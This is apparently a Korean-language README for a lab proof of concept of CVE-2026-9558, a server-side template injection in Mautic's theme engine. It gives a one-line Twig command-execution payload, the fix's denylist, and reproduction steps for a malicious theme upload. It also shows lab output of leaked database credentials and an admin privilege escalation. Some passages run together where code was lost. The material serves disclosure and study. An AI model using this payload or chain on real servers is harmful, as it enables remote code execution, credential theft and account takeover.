
CVE-2026-9558 (SSTI Mautic 테마) 악용 가능성 PoC
CVE-2026-9558은 Mautic 테마 엔진의 서버 사이드 템플릿 인젝션(SSTI) 취약점입니다.
테마 관리자(Theme Manager)를 통해 업로드되는 테마는 Twig 템플릿을 포함하는 ZIP
아카이브이며, 영향을 받는 버전에서는 해당 템플릿이 SandboxExtension 정책이
연결되지 않은 애플리케이션의 기본 Twig Environment에 의해 렌더링됩니다.
Twig는 map, filter, reduce 같은 필터를 통해 임의의 PHP 호출 가능(callable) 함수를
호출할 수 있으므로, 테마 업로드 권한이 있는 인증된 사용자는 렌더링되는 즉시 임의의
시스템 명령을 실행하는 템플릿이 포함된 테마를 설치할 수 있습니다. 이 렌더링은
사용자가 해당 테마로 이메일 또는 랜딩 페이지 빌더를 여는 첫 순간 자동으로 발생합니다.
{{ ["id"] | map("system") | join }}
| 영향을 받는 범위 | 수정 버전 |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (ELTS를 통한 4.4.20) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
이 랩은 수정 이전 마지막 릴리스인 7.1.1을 대상으로 합니다.
Mautic 개발자 문서에는 테마 템플릿이 제한된 Twig 샌드박스에서 렌더링된다고 명시되어 있습니다:
Mautic은 사용자가 업로드한 테마 템플릿을 제한된 Twig 샌드박스 환경에서 렌더링합니다. 이 샌드박스는 원격 코드 실행, 데이터 유출 또는 파일시스템 탐색을 가능하게 할 수 있는 특정 함수와 필터를 차단합니다.
영향을 받는 버전에는 이러한 샌드박스 정책이 존재하지 않습니다. 수정 버전(7.1.2)에서는
ThemeSandboxPolicy.php이
도입되었는데, 이는 map, filter, reduce 필터와 source()(임의 파일 읽기),
configGetParameter()(DB 자격 증명 및 애플리케이션 비밀 키 유출)를 포함한 일련의
함수를 차단하는 차단 목록(denylist) 기반의 SecurityPolicyInterface 구현입니다.
수정 커밋 자체의 인라인 주석에는 이 PoC에서 사용된 정확한 페이로드 형태가
문서화되어 있습니다:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
이 정책이 도입되기 전에는 어떤 테마 렌더링 경로에도 이러한 제한이 존재하지 않았습니다.
이 공격 체인은 권고문의 CVSS 벡터에 있는 PR:L 사전 조건과 일치하도록,
관리자가 아니라 Themes(생성/편집) 및 Emails(생성/편집) 권한 그룹만 가진
저권한 계정을 대상으로 처음부터 끝까지(end-to-end) 검증되었습니다.
.twig 파일에
포함된 system() 호출이 실행됩니다.config/local.php를
읽어 데이터베이스 자격 증명과 애플리케이션 secret_key를 평문으로 노출시킵니다.PDO 연결을 열고 저권한 계정을 role_id 1(관리자)로 승격시켜 Mautic의
애플리케이션 수준 권한 검사를 완전히 우회합니다.uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
권고문에는 PR:L이라고 명시되어 있습니다. 이 랩은 구체적인 저권한 사전 조건을
실제로 확인합니다. 렌더링 트리거에 도달하려면 단일한 일반 저권한이 아니라 테마
업로드 권한과 이메일 생성 권한이 모두 필요합니다. 공식 수정 외에 이 취약점을
제한하는 우회 방법은 없으며, 문서화된 유일한 완화 조치는 core:themes:create 권한을
신뢰할 수 있는 관리자로 제한하는 것입니다.
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic # pins the official image to the vulnerable release
├── install.sh # non-interactive mautic:install bootstrap
└── sparse/
├── config.json # malicious theme manifest
├── sparse.zip # theme ready to be uploaded
└── html/
├── email.html.twig # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
├── ... # Other .twig files
└── .../ # Other directories (e.g css)
| 도구 | 버전 | 비고 |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose 필요 |
| curl | any | install.sh가 준비 상태를 확인하는 데 사용 |
이 PoC에서의 악용은 실제 공격자의 작업 흐름과 동일하게 Mautic 웹 UI(테마 관리자 업로드 → 이메일 빌더)를 통해 수동으로 수행됩니다. 테마 업로드는 파일 작업이므로 분석의 이 단계에서 자동화할 가치가 있는 API 호출이 아닙니다.
podman-compose up -d
./install.sh
install.sh는 앱 컨테이너가 연결을 수락할 때까지 대기한 다음, 비대화형으로
mautic:install을 실행하여 첫 번째 관리자 계정을 부트스트랩합니다.
UI에서 Themes(생성/편집) 및 Emails(생성/편집)만 활성화된 사용자 정의 역할과
해당 역할에 할당된 사용자를 생성합니다. 이렇게 하면 관리자로 테스트하는 대신 PR:L
사전 조건을 재현할 수 있습니다.
저권한 사용자로 로그인합니다. Themes → Upload에서 sparse/config.json과
sparse/html/page.html.twig로 구성된 ZIP을 업로드합니다(또는 .twig 파일에
페이로드 줄이 추가된 기본 제공 테마의 수정된 사본을 업로드).
Channels → Emails → New에서 업로드한 테마를 템플릿으로 선택하고 빌더를 엽니다. 테마가 미리보기용으로 렌더링되는 즉시 페이로드가 실행됩니다.
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
이 리포지토리는 교육 목적 및 로컬 악용 가능성 분석 전용으로 제공됩니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에 이 PoC를 실행하지 마십시오.
| 리소스 | 링크 |
|---|
| 보안 권고 | GHSA-9fx4-7cmj-47vg |
| 수정 (샌드박스 정책) | ThemeSandboxPolicy.php |
| 취약한 리포지토리 | mautic/mautic |
| 전체 분석 — 블로그 포스트 | return-zero.dev/posts/cve-2026-9558 |